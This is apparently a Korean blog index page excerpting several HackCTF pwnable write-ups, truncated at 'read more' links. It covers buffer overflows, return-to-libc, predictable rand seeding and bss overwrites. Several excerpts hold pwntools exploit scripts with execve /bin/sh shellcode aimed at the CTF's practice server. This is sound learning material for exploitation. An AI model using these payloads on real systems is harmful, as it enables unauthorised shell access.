Hacking/write-up (HackCTF) rtlcore (HackCTF) rtlcore core함수에 접근하게 되면 read함수가 받는 문자열 길이가 buf에 비해 충분하므로 bof공격을 할 수 있겠습니다. check_passcode함수의 결과가 0xC0D9B0A7 이 되어야 합니다. -풀이 main 함수에서 check_passcode함수로 입력받은 문자열의 주소값을 넘겨줍니다. check_passcode함수에서 이 반복문을보면 *(4+i+a1) 이 부분은 a1이 주소값이기 때문에 주소가 가르키는 공간에 있는 값에 접근합니다. -> v2=*(a1)+ *(a1+4) + *(a1+8) + *(a1+12) + *(a1+16) 3235492007/5 몫=647098401 3235492007%5 나머지=2 647098401 647098401 647098401 6470.. 더보기 (HackCTF)1996 1996 char *getenv(const char *name) getenv() 함수는 name이 가리키는 문자열과 일치하는 문자열을 찾기 위해 환경 변수 리스트를 탐색한다. 문자열은 name = value의 형태이다. getenv() 함수는 환경변수에서 값에 대한 포인터를 반환하거나, 일치하는 것이 없다면 NULL을 반환한다 ex) getenv("PATH")의 반환값은 환경변수 PATH에 저장되어 있는 값 -접근 getenv를 보고 환경변수를 무조건 생성해서 그 안에 있는 값을 어떻게 해야겠다라는 방향으로만 생각하다보니 환경변수를 정의해야겠다고만 생각했지 입력받는 그 값으로 bof를 발생시킬 생각을 하지못했다... 알고보면 너무 쉬운 문제였네 -pwntools 코드 #-*-coding:utf-8-*- .. 더보기 (HackCTF) random key exit 함수 때문에 강제 종료가 됩니다. -접근과정 방법1. v5가 랜덤으로 값이 바뀌는 데 그 값이랑 동일한 v6을 넣어주어주는 방법은 못하겠네요. exit함수 때문에 rtl 공격이 불가하니깐 . 방법2. scanf 가 bof에 취약한 함수이니깐 v4에 입력한 값으로 v5까지 도달해서 동일한 값을 넣어주면 되지 싶습니다. 그런데 v4 주소가 더 높으므로 더더욱 불가한 방법 그나마 방법1이 좀 더 가능해 보이는데 -풀이 time 함수는 1970년 1월 1일 0시 이후 부터 현재까지 지난 시간을 '초' 단위로 return 즉, 현재까지 흐른 시간(초)을 이용하여 난수를 초기화한 뒤 rand 함수로 난수를 생성하고 있다. 이 부분이 이 바이너리에서의 취약점이였다. #include #include int m.. 더보기 (HackCTF) poet poet score은 제가 보기 편하게 변수명을 변경했습니다. score 이 1000000 값일때 while문을 탈출해서 플래그를 출력하네요. 이 함수에서 score값을 증가시켜주실래 처음 접근한 방법은 ESPR를 10000번 입력해주는 건가 했죵. 하지만 이렇게 큰 값을 넣어주면 프로그램 터져용 그 다음으로 시도한 방법을 설명하겠습니다. author score 두 변수가 같은 bss 영역에 있어요. offset을 구해 author에서 입력받은 값으로 score 값 변경까지 가면 됩니다. offset = score주소-author주소 =0x6024e0-0x6024a0=0x40 -pwntools코드 #-*-coding:utf-8-*- from pwn import * p=remote('ctf.j0n9hyun.. 더보기 (HackCTF)rtl_world rtl_world 문제풀이 ida로 코드 확인 main함수를 보시면 system 과 /bin/sh 문자열이 당연 눈에 띄네요. -system 함수 주소 찾는 방법 2가지 1. ida로 찾기 2. gdb peda 에서 info func - /bin/sh 문자열 찾는 방법 3가지 1. main을 보고 /bin/sh 문자열 위치 파악해서 gdb 에서 찾는다. 2. pwtools 이용 e=ELF('./rtl_world') binsh=e.search('/bin/sh').next() 3. objdump -s rtl_world| grep /bin/sh (사용불가. 다른 값이 나와요.) system_plt=0x080485b0 binsh=0x8048ea8 라이브러리가 아닌 파일 자체에서 /bin/sh 문자열이 소환되어 .. 더보기 (HackCTF) x64 Simple_size_BOF x64 Simple_size_BOF 주어진 buf 주소를 사용해야겠네요 v4 에 shell코드를 저장하구 ret주소를 v4로 해두면 되겠어요! #-*-coding:utf-8-*- from pwn import * p = remote("ctf.j0n9hyun.xyz", 3005) print p.recvuntil('buf: ') buf=int(p.recv(14),16) payload="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" payload+="\x90"*(0x6d30+0x8-25) payload+=p64(buf) p.sendline(payload) p.interactiv.. 더보기 (HackCTF) Simple_Overflow_ver_2 이번문제는 main함수 하나군요 실행결과 #-*-coding:utf-8-*- from pwn import * p = remote("ctf.j0n9hyun.xyz", 3006) p.recvuntil("Data : ") p.sendline("a") tmp=int(p.recv(10),16) log.success(hex(tmp)) p.recvuntil("Again (y/n): ") p.sendline('y') p.recvuntil("Data : ") #25bytes payload="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" payload+="a"*(0x88+8-25) pay.. 더보기 (HackCTF)x64 buffer overflow x64 buffer overflow bof로 ret자리에 callmemaybe()함수 주소를 넣어주면 될까요 -callMeMaybe 함수 주소 -offset -pwntools 코드 #-*-coding:utf-8-*- from pwn import * p=remote('ctf.j0n9hyun.xyz',3004) payload='a'*(0x110+8) payload+=p64(0x0000000000400606) p.sendline(payload) p.interactive() 더보기 이전 1 2 3 4 다음